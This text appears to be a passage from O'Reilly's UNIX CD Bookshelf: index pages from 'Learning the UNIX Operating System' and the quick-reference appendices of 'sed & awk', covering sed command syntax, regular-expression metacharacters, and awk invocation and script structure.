logging in : 1.1.1. Connecting to the UNIX Computer
logging out : 1.1.8. Logging Out
login : 1.1.1. Connecting to the UNIX Computer
.login file : 3.6. Customizing Your Account
logout command : 1.1.8. Logging Out
Lower menu item (mwm) : 2.5.4. The Window Menu
lp command : 4.5.2. lp and lpr
lpq command
4.5.2. lp and lpr
4.5.4.1. lpstat and lpq
lpr command : 4.5.2. lp and lpr
lprm command : 4.5.4.2. cancel and lprm
lpstat command : 4.5.4.1. lpstat and lpq
ls command
1.2. Syntax of UNIX Command Lines
3.1.8.1. ls

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Index: M

mail : (see email)
mail command : (see email)
man command : 7.1. Standard UNIX Documentation
Maximize menu item (mwm) : 2.5.4. The Window Menu
maximizing windows : 2.5.1. Using the Titlebar
menu, window (mwm) : 2.5.4. The Window Menu
metacharacters : (see wildcards)
mget command (ftp) : 4.4.2.4. ftp
Minimize menu item (mwm) : 2.5.4. The Window Menu
minimizing windows : 2.5.1. Using the Titlebar
mkdir command : 4.4.1.1. mkdir
more command
3.2.2. more
5.2.3. pg and more
mouse : 2.4. Working with a Mouse
Move menu item (mwm) : 2.5.4. The Window Menu
moving
between directories : 3.1.6.2. cd
files : 4.4.3. Renaming and Moving Files
windows and icons : 2.5.2. Moving Windows and Icons
mput command (ftp) : 4.4.2.4. ftp
MTOOLS utilities : 4.4.6. Files on Other Operating Systems
multitasking : 6. Multitasking
mv command : 4.4.3. Renaming and Moving Files
mwm window manager : 2.5. Working with Windows
window menu : 2.5.4. The Window Menu

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Index: N

naming files and directories : 4.2. File and Directory Names
wildcards for : 4.3. File and Directory Wildcards
networked filesystem : 3.1.3. The Directory Tree
networks, copying files across : 4.4.2.3. rcp
NO SCROLL key : 1.4. The Unresponsive Terminal
noclobber variable : 5.1.1.1. The > operator

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Index: O

operating system, definition of : The UNIX Operating System
options, command : 1.2. Syntax of UNIX Command Lines
output redirection operator (>)
5.1. Standard Input and Standard Output
5.1.1.1. The > operator
output redirection operator (>>) : 5.1.1.2. The >> operator
output, redirecting : 5.1. Standard Input and Standard Output
overwriting files : 5.1.1.1. The > operator
ownership, file : 3.1.8.1. ls

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Index: P

parent directory, .. shortcut for
3.1.5.2. Relative pathnames up
3.1.8.1. ls
4.4.2.1. cp
passwd command : 3.5. Changing Your Password
passwords
changing : 3.5. Changing Your Password
logging in and : 1.1.2. Logging In
pasting in xterm window : 2.4.3. Using a Mouse with xterm Windows
PATH environment variable : 3.6. Customizing Your Account
pathnames : 3.1.3. The Directory Tree
absolute : 3.1.4. Absolute Pathnames
relative : 3.1.5. Relative Pathnames
period : (see dot)
permissions : 3.1.8.1. ls
directory : 3.3.1. Directory Access Permissions
file : 3.3.2. File Access Permissions
umask command and : 3.6. Customizing Your Account
under Linux : 3.3.3. More Protection Under Linux
pg command
3.2.3. pg
5.2.3. pg and more
PIDs (process IDs) : 6.1. Running a Command in the Background
pipe (|) for I/O redirection
5.1. Standard Input and Standard Output
5.2. Pipes and Filters
pointer shape, mouse : 2.4.1. Pointer Shape
pointing the mouse : 2.4.2. Pointing, Clicking, and Dragging
port contenders : 1.1.1.2. Connecting with a data switch
pr command : 4.5.1. pr
printers : 4.5.1. pr
printing files : 4.5. Printing Files
cancelling jobs : 4.5.4.2. cancel and lprm
job queue for
4.5.2. lp and lpr
4.5.4. Viewing the Printer Queue
problems : (see troubleshooting)
process IDs (PIDs) : 6.1. Running a Command in the Background
processes, background : 6. Multitasking
cancelling : 6.3. Cancelling a Process
checking on processes : 6.2. Checking on a Process
.profile file : 3.6. Customizing Your Account
programming : 7.3. Programming
programs
directly executable vs. interpreted : 6.2.1. ps
running with X : 2.3. Running Programs
prompt : (see shell prompt)
ps command : 6.2.1. ps
put command (ftp) : 4.4.2.4. ftp
pwd command : 3.1.6.1. pwd

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Index: Q

question mark (?) wildcard : 4.3. File and Directory Wildcards
queue, printer
4.5.2. lp and lpr
4.5.4. Viewing the Printer Queue
quit command (ftp) : 4.4.2.4. ftp
quitting X Window System : 2.7. Quitting

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Index: R

rcp command : 4.4.2.3. rcp
read permission : 3.1.8.1. ls
reading
email messages : 3.4.2. Reading Your Mail
files : 3.2. Looking Inside Files
redirecting input/output : 5.1. Standard Input and Standard Output
relative pathnames : 3.1.5. Relative Pathnames
remote files : 4.4.6. Files on Other Operating Systems
copying : 4.4.2.3. rcp
remote logins : 1.1.3. Remote Logins
removing : (see deleting)
resizing windows : 2.5.3. Resizing Windows
resources for further reading : A.1. General UNIX Books
UNIX documentation : 7.1. Standard UNIX Documentation
Restore menu item (mwm) : 2.5.4. The Window Menu
rm command : 4.4.5.1. rm
rmdir command : 4.4.5.2. rmdir
root directory : 3.1.3. The Directory Tree
root menu : 2.3.3. The Root Menu
root window : 2.3.3. The Root Menu
RUBOUT key : 1.1.7. Correcting a Mistake

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Index: S

screen, printing files to
cat command : 3.2.1. cat
more command
3.2.2. more
5.2.3. pg and more
pg command
3.2.3. pg
5.2.3. pg and more
pr command : 4.5.1. pr
scrolling, turning off : 1.4. The Unresponsive Terminal
searching
for files : 4.4.4. Finding Files
within files : 5.2.1. grep
semicolon (;) on command line : 1.2. Syntax of UNIX Command Lines
sending email messages : 3.4.1. Sending Mail
session, unresponsive (hung) : 1.4. The Unresponsive Terminal
setterm command : 3.6. Customizing Your Account
sharing files : 3.3. Protecting and Sharing Files
shell aliases : 7.2. Shell Aliases and Functions
shell prompt
1.1.2. Logging In
1.1.5. The Shell Prompt
shell setup files : 3.6. Customizing Your Account
shells : 1.1.4. The UNIX Shell
programming shell scripts : 7.3. Programming
references for further reading : A.3. Shells
shortcuts, keyboard : 2.5.4. The Window Menu
single-user operating systems : The UNIX Operating System
Size menu item (mwm) : 2.5.4. The Window Menu
size, windows : 2.5.3. Resizing Windows
slash (/)
in pathnames : 3.1.4. Absolute Pathnames
for root directory
3.1.3. The Directory Tree
3.1.4. Absolute Pathnames
sort program : 5.2.2. sort
standard input : 5.1. Standard Input and Standard Output
standard output : 5.1. Standard Input and Standard Output
stopped jobs : 1.1.8.1. Problem checklist
stty command : 3.6. Customizing Your Account
subdirectories : (see directories)
suspend character : 6.1. Running a Command in the Background
suspending jobs : 1.4. The Unresponsive Terminal
symbols, reference for : B.2. Special Symbols

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Index: T

terminal emulation
programs for : 1.1.1.1. Connecting from another operating system
on X (xterm windows for)
2.3.2. The xterm Window
2.4.3. Using a Mouse with xterm Windows
terminal, unresponsive (hung) : 1.4. The Unresponsive Terminal
text
appending to files : 5.1.1.2. The >> operator
editors for : 4.1. Methods of Creating Files
handling in xterm windows : 2.4.3. Using a Mouse with xterm Windows
inserting into files : 5.1.1. Putting Text in a File
printing format : 4.5. Printing Files
processing, references for : A.2. Text Processing and Programming
searching files for : 5.2.1. grep
sorting lines of : 5.2.2. sort
time : (see date and time)
titlebar, window : 2.5. Working with Windows
tree, directory
3.1.3. The Directory Tree
3.1.7. Files in the Directory Tree
troubleshooting
background processing : 6.3.2. Problem checklist
command line : 1.1.7. Correcting a Mistake
copying files : 4.4.2.2. Problem checklist
deleting files and directories : 4.4.5.3. Problem checklist
hung (unresponsive) terminal : 1.4. The Unresponsive Terminal
logging in : 1.1.2.1. Problem checklist
logging out : 1.1.8.1. Problem checklist
overwriting files by mistake : 5.1.1.1. The > operator
printing : 4.5.3. Problem checklist
X root menu : 2.3.3.2. Problem checklist

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Index: U

umask command : 3.6. Customizing Your Account
UNIX
accessing other platforms : 4.4.6. Files on Other Operating Systems
command reference : B.1. Commands and Their Meanings
documentation on : 7.1. Standard UNIX Documentation
environment : 1.1. Working in the UNIX Environment
references for : A.1. General UNIX Books
starting X from : 2.2.2. B. Starting X from a Standard UNIX Session
versions of : Versions of UNIX
xterm windows for : 2.3.2. The xterm Window
xterm windows on : 2.4.3. Using a Mouse with xterm Windows
usernames, mailing to : 3.4.1. Sending Mail
users, who command for
1.1.6.2. who
5.1.1.1. The > operator

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Index: V

versions, UNIX : Versions of UNIX
vertical bar (|) for I/O redirection
5.1. Standard Input and Standard Output
5.2. Pipes and Filters
vi editor : 4.1. Methods of Creating Files
virtual consoles : 2.1. Introduction to Windowing

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Index: W

who am i command : 1.1.6.2. who
who command
1.1.6.2. who
5.1.1.1. The > operator
wildcards : 4.3. File and Directory Wildcards
window managers
2.1. Introduction to Windowing
2.2.3. C. Starting the Window Manager
2.5. Working with Windows
window systems : 2.1. Introduction to Windowing
focus in : 2.3.1. Setting Focus
mouse and : 2.4. Working with a Mouse
windows
focus : 2.3.1. Setting Focus
iconifying/maximizing : 2.5.1. Using the Titlebar
managing : 2.5. Working with Windows
menus for (mwm) : 2.5.4. The Window Menu
root (X Window System) : 2.3.3. The Root Menu
titlebar : 2.5. Working with Windows
X (see X Window System) : 2.1. Introduction to Windowing
xterm (see xterm windows) : 2.2. Starting X
working directory
3.1.2. Your Working Directory
3.1.6. Changing Your Working Directory
write permission : 3.1.8.1. ls

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Index: X

X Window System : 2.1. Introduction to Windowing
clients of : 2.6. Other X Clients
getting input focus : 2.3.1. Setting Focus
quitting : 2.7. Quitting
references for further reading : A.4. The X Window System
root menu : 2.3.3. The Root Menu
starting : 2.2. Starting X
xdm display manager : 2.2.1. A. Ready to Run X (with xdm)
xcalc program : 2.3.2. The xterm Window
xdm display manager : 2.2.1. A. Ready to Run X (with xdm)
xinit command : 2.2.2. B. Starting X from a Standard UNIX Session
xterm windows : 2.3.2. The xterm Window
mouse and : 2.4.3. Using a Mouse with xterm Windows

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Index: Y

yppasswd command : 3.5. Changing Your Password

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Appendix A] Quick Reference for sed

sed & awk

sed & awkSearch this book
Previous: 13.10 m1 - Simple Macro Processor Appendix A Next: A.2 Syntax of sed Commands

A. Quick Reference for sed

Contents:
Command-Line Syntax
Syntax of sed Commands
Command Summary for sed

A.1 Command-Line Syntax

The syntax for invoking sed has two forms:

sed [-n][-e] `command' file(s)
sed [-n] -f scriptfile file(s)

The first form allows you to specify an editing command on the command line, surrounded by single quotes. The second form allows you to specify a scriptfile, a file containing sed commands. Both forms may be used together, and they may be used multiple times. The resulting editing script is the concatenation of the commands and script files.

The following options are recognized:

-n

Only print lines specified with the p command or the p flag of the s command.

-e cmd

Next argument is an editing command. Useful if multiple scripts are specified.

-f file

Next argument is a file containing editing commands.

If the first line of the script is "#n", sed behaves as if -n had been specified.

Frequently used sed scripts are usually invoked from a shell script. Since this is the same for sed or awk, see the section "Shell Wrapper for Invoking awk" in Appendix B, Quick Reference for awk.

Previous: 13.10 m1 - Simple Macro Processor | sed & awk | Next: A.2 Syntax of sed Commands
13.10 m1 - Simple Macro Processor | Book Index | A.2 Syntax of sed Commands
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Appendix A] A.2 Syntax of sed Commands

sed & awk

sed & awkSearch this book
Previous: A.1 Command-Line Syntax Appendix A
Quick Reference for sed 		Next: A.3 Command Summary for sed

A.2 Syntax of sed Commands

Sed commands have the general form:

[address[,address]][!]command [arguments]

Sed copies each line of input into a pattern space. Sed instructions consist of addresses and editing commands. If the address of the command matches the line in the pattern space, then the command is applied to that line. If a command has no address, then it is applied to each input line. If a command changes the contents of the space, subsequent command-addresses will be applied to the current line in the pattern space, not the original input line.

A.2.1 Pattern Addressing

address can be either a line number or a pattern, enclosed in slashes (/pattern/). A pattern is described using a regular expression. Additionally, \n can be used to match any newline in the pattern space (resulting from the N command), but not the newline at the end of the pattern space.

If no pattern is specified, the command will be applied to all lines. If only one address is specified, the command will be applied to all lines matching that address. If two comma-separated addresses are specified, the command will be applied to a range of lines between the first and second addresses, inclusively. Some commands accept only one address: a, i, r, q, and =.

The ! operator following an address causes sed to apply the command to all lines that do not match the address.

Braces ({}) are used in sed to nest one address inside another or to apply multiple commands at the same address.

[/pattern/[,/pattern/]]{
command1
command2
}

The opening curly brace must end a line, and the closing curly brace must be on a line by itself. Be sure there are no spaces after the braces.

A.2.2 Regular Expression Metacharacters for sed

The following table lists the pattern-matching metacharacters that were discussed in Chapter 3, Understanding Regular Expression Syntax.

Note that an empty regular expression "//" is the same as the previous regular expression.

Table A.1: Pattern-Matching Metacharacters
Special Characters | Usage
. | Matches any single character except newline.
* | Matches any number (including zero) of the single character (including a character specified by a regular expression) that immediately precedes it.
[...] | Matches any one of the class of characters enclosed between the brackets. All other metacharacters lose their meaning when specified as members of a class. A circumflex (^) as the first character inside brackets reverses the match to all characters except newline and those listed in the class. A hyphen (-) is used to indicate a range of characters. The close bracket (]) as the first character in the class is a member of the class.
\{n,m\} | Matches a range of occurrences of the single character (including a character specified by a regular expression) that immediately precedes it. \{n\} will match exactly n occurrences, \{n,\} will match at least n occurrences, and \{n,m\} will match any number of occurrences between n and m. (sed and grep only).
^ | Locates regular expression that follows at the beginning of line. The ^ is only special when it occurs at the beginning of the regular expression.
$ | Locates preceding regular expression at the end of line. The $ is only special when it occurs at the end of the regular expression.
\ | Escapes the special character that follows.
\( \) | Saves the pattern enclosed between "\(" and "\)" into a special holding space. Up to nine patterns can be saved in this way on a single line. They can be "replayed" in substitutions by the escape sequences "\1" to "\9".
\n | Matches the nth pattern previously saved by "\(" and "\)", where n is a number from 1 to 9 and previously saved patterns are counted from the left on the line.
& | Prints the entire matched text when used in a replacement string.

Previous: A.1 Command-Line Syntax | sed & awk | Next: A.3 Command Summary for sed
A.1 Command-Line Syntax | Book Index | A.3 Command Summary for sed
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Appendix A] A.3 Command Summary for sed

sed & awk

sed & awkSearch this book
Previous: A.2 Syntax of sed Commands Appendix A
Quick Reference for sed 		Next: B. Quick Reference for awk

A.3 Command Summary for sed

: :label

Label a line in the script for the transfer of control by b or t. label may contain up to seven characters. (The POSIX standard says that an implementation can allow longer labels if it wishes to. GNU sed allows labels to be of any length.)

= [address]=

Write to standard output the line number of addressed line.

a [address]a\

text

Append text following each line matched by address. If text goes over more than one line, newlines must be "hidden" by preceding them with a backslash. The text will be terminated by the first newline that is not hidden in this way. The text is not available in the pattern space and subsequent commands cannot be applied to it. The results of this command are sent to standard output when the list of editing commands is finished, regardless of what happens to the current line in the pattern space.

b [address1[,address2]]b[label]

Transfer control unconditionally (branch) to :label elsewhere in script. That is, the command following the label is the next command applied to the current line. If no label is specified, control falls through to the end of the script, so no more commands are applied to the current line.

c [address1[,address2]]c\

text

Replace (change) the lines selected by the address with text. When a range of lines is specified, all lines as a group are replaced by a single copy of text. The newline following each line of text must be escaped by a backslash, except the last line. The contents of the pattern space are, in effect, deleted and no subsequent editing commands can be applied to it (or to text).

d [address1[,address2]]d

Delete line(s) from pattern space. Thus, the line is not passed to standard output. A new line of input is read and editing resumes with first command in script.

D [address1[,address2]]D

Delete first part (up to embedded newline) of multiline pattern space created by N command and resume editing with first command in script. If this command empties the pattern space, then a new line of input is read, as if the d command had been executed.

g [address1[,address2]]g

Copy (get) contents of hold space (see h or H command) into the pattern space, wiping out previous contents.

G [address1[,address2]]G

Append newline followed by contents of hold space (see h or H command) to contents of the pattern space. If hold space is empty, a newline is still appended to the pattern space.

h [address1[,address2]]h

Copy pattern space into hold space, a special temporary buffer. Previous contents of hold space are wiped out.

H [address1[,address2]]H

Append newline and contents of pattern space to contents of the hold space. Even if hold space is empty, this command still appends the newline first.

i [address1]i\

text

Insert text before each line matched by address. (See a for details on text.)

l [address1[,address2]]l

List the contents of the pattern space, showing nonprinting characters as ASCII codes. Long lines are wrapped.

n [address1[,address2]]n

Read next line of input into pattern space. Current line is sent to standard output. New line becomes current line and increments line counter. Control passes to command following n instead of resuming at the top of the script.

N [address1[,address2]]N

Append next input line to contents of pattern space; the new line is separated from the previous contents of the pattern space by a newline. (This command is designed to allow pattern matches across two lines. Using \n to match the embedded newline, you can match patterns across multiple lines.)

p [address1[,address2]]p

Print the addressed line(s). Note that this can result in duplicate output unless default output is suppressed by using "#n" or the -n command-line option. Typically used before commands that change flow control (d, n, b) and might prevent the current line from being output.

P [address1[,address2]]P

Print first part (up to embedded newline) of multiline pattern space created by N command. Same as p if N has not been applied to a line.

q [address]q

Quit when address is encountered. The addressed line is first written to output (if default output is not suppressed), along with any text appended to it by previous a or r commands.

r [address]r file

Read contents of file and append after the contents of the pattern space. Exactly one space must be put between r and the filename.

s [address1[,address2]]s/pattern/replacement/[flags]

Substitute replacement for pattern on each addressed line. If pattern addresses are used, the pattern // represents the last pattern address specified. The following flags can be specified:

n

Replace nth instance of /pattern/ on each addressed line. n is any number in the range 1 to 512, and the default is 1.

g

Replace all instances of /pattern/ on each addressed line, not just the first instance.

p

Print the line if a successful substitution is done. If several successful substitutions are done, multiple copies of the line will be printed.

w file

Write the line to file if a replacement was done. A maximum of 10 different files can be opened.

t [address1[,address2]]t [label]

Test if successful substitutions have been made on addressed lines, and if so, branch to line marked by :label. (See b and :.) If label is not specified, control falls through to bottom of script.

w [address1[,address2]]w file

Append contents of pattern space to file. This action occurs when the command is encountered rather than when the pattern space is output. Exactly one space must separate the w and the filename. A maximum of 10 different files can be opened in a script. This command will create the file if it does not exist; if the file exists, its contents will be overwritten each time the script is executed. Multiple write commands that direct output to the same file append to the end of the file.

x [address1[,address2]]x

Exchange contents of the pattern space with the contents of the hold space.

y [address1[,address2]]y/abc/xyz/

Transform each character by position in string abc to its equivalent in string xyz.

Previous: A.2 Syntax of sed Commands | sed & awk | Next: B. Quick Reference for awk
A.2 Syntax of sed Commands | Book Index | B. Quick Reference for awk
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Appendix B] Quick Reference for awk

sed & awk

sed & awkSearch this book
Previous: A.3 Command Summary for sed Appendix B Next: B.2 Language Summary for awk

B. Quick Reference for awk

Contents:
Command-Line Syntax
Language Summary for awk
Command Summary for awk

This appendix describes the features of the awk scripting language.

B.1 Command-Line Syntax

The syntax for invoking awk has two basic forms:

awk [-v var=value] [-F re] [--] 'pattern { action }' var=value datafile(s)
awk [-v var=value] [-F re] -f scriptfile [--] var=value datafile(s)

An awk command line consists of the command, the script and the input filename. Input is read from the file specified on the command line. If there is no input file or "-" is specified, then standard input is read. The -F option sets the field separator (FS) to re.

The -v option sets the variable var to value before the script is executed. This happens even before the BEGIN procedure is run. (See the discussion below on command-line parameters.)

Following POSIX argument parsing conventions, the "--" option marks the end of command-line options. Using this option, for instance, you could specify a datafile that begins with "-", which would otherwise be confused with a command-line option.

You can specify a script consisting of pattern and action on the command line, surrounded by single quotes. Alternatively, you can place the script in a separate file and specify the name of the scriptfile on the command line with the -f option.

Parameters can be passed into awk by specifying them on the command line after the script. This includes setting system variables such as FS, OFS, and RS. The value can be a literal, a shell variable ($var) or the result of a command (`cmd`); it must be quoted if it contains spaces or tabs. Any number of parameters can be specified.

Command-line parameters are not available until the first line of input is read, and thus cannot be accessed in the BEGIN procedure. (Older implementations of awk and nawk would process leading command-line assignments before running the BEGIN procedure. This was contrary to how things were documented in The AWK Programming Language, which says that they are processed when awk would go to open them as filenames, i.e., after the BEGIN procedure. The Bell Labs awk was changed to correct this, and the -v option was added at the same time, in early 1989. It is now part of POSIX awk.) Parameters are evaluated in the order in which they appear on the command line up until a filename is recognized. Parameters appearing after that filename will be available when the next filename is recognized.

B.1.1 Shell Wrapper for Invoking awk

Typing a script at the system prompt is only practical for simple, one-line scripts. Any script that you might invoke as a command and reuse can be put inside a shell script. Using a shell script to invoke awk makes the script easy for others to use.

You can put the command line that invokes awk in a file, giving it a name that identifies what the script does. Make that file executable (using the chmod command) and put it in a directory where local commands are kept. The name of the shell script can be typed on the command line to execute the awk script. This is preferred for easily used and reused scripts.

On modern UNIX systems, including Linux, you can use the #! syntax to create self-contained awk scripts:

#! /usr/bin/awk -f
script

Awk parameters and the input filename can be specified on the command line that invokes the shell script. Note that the pathname to use is system-dependent.

Previous: A.3 Command Summary for sed | sed & awk | Next: B.2 Language Summary for awk
A.3 Command Summary for sed | Book Index | B.2 Language Summary for awk
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Appendix B] B.2 Language Summary for awk

sed & awk

sed & awkSearch this book
Previous: B.1 Command-Line Syntax Appendix B
Quick Reference for awk 		Next: B.3 Command Summary for awk

B.2 Language Summary for awk

This section summarizes how awk processes input records and describes the various syntactic elements that make up an awk program.

B.2.1 Records and Fields

Each line of input is split into fields. By default, the field delimiter is one or more spaces and/or tabs. You can change the field separator by using the -F command-line option. Doing so also sets the value of FS. The following command-line changes the field separator to a colon:

awk -F: -f awkscr /etc/passwd

You can also assign the delimiter to the system variable FS. This is typically done in the BEGIN procedure, but can also be passed as a parameter on the command line.

awk -f awkscr FS=: /etc/passwd

Each input line forms a record containing any number of fields. Each field can be referenced by its position in the record. "$1" refers to the value of the first field; "$2" to the second field, and so on. "$0" refers to the entire record. The following action prints the first field of each input line:

{ print $1 }

The default record separator is a newline. The following procedure sets FS and RS so that awk interprets an input record as any number of lines up to a blank line, with each line being a separate field.

BEGIN { FS = "\n"; RS = "" }

It is important to know that when RS is set to the empty string, newline always separates fields, in addition to whatever value FS may have. This is discussed in more detail in both The AWK Programming Language and Effective AWK Programming.

B.2.2 Format of a Script

An awk script is a set of pattern-matching rules and actions:

pattern { action }

An action is one or more statements that will be performed on those input lines that match the pattern. If no pattern is specified, the action is performed for every input line. The following example uses the print statement to print each line in the input file:

{ print }

If only a pattern is specified, then the default action consists of the print statement, as shown above.

Function definitions can also appear:

function name (parameter list) { statements }

This syntax defines the function name, making available the list of parameters for processing in the body of the function. Variables specified in the parameter-list are treated as local variables within the function. All other variables are global and can be accessed outside the function. When calling a user-defined function, no space is permitted between the name of the function and the opening parenthesis. Spaces are allowed in the function's definition. User-defined functions are described in Chapter 9, Functions.

B.2.2.1 Line termination

A line in an awk script is terminated by a newline or a semicolon. Using semicolons to put multiple statements on a line, while permitted, reduces the readability of most programs. Blank lines are permitted between statements.

Program control statements (do, if, for, or while) continue on the next line, where a dependent statement is listed. If multiple dependent statements are specified, they must be enclosed within braces.

if (NF > 1) {
    name = $1
    total += $2
}

You cannot use a semicolon to avoid using braces for multiple statements.

You can type a single statement over multiple lines by escaping the newline with a backslash (\). You can also break lines following any of the following characters:

, { && ||

Gawk also allows you to continue a line after either a "?" or a ":". Strings cannot be broken across a line (except in gawk, using "\" followed by a newline).

B.2.2.2 Comments

A comment begins with a "#" and ends with a newline. It can appear on a line by itself or at the end of a line. Comments are descriptive remarks that explain the operation of the script. Comments cannot be continued across lines by ending them with a backslash.

B.2.3 Patterns

A pattern can be any of the following:

/regular expression/
relational expression
BEGIN
END
pattern, pattern

  1. Regular expressions use the extended set of metacharacters and must be enclosed in slashes. For a full discussion of regular expressions, see Chapter 3, Understanding Regular Expression Syntax.

  2. Relational expressions use the relational operators listed under "Expressions" later in this chapter.

  3. The BEGIN pattern is applied before the first line of input is read and the END pattern is applied after the last line of input is read.

  4. Use ! to negate the match; i.e., to handle lines not matching the pattern.

  5. You can address a range of lines, just as in sed:

    pattern, pattern

    Patterns, except BEGIN and END, can be expressed in compound forms using the following operators:

    && Logical And
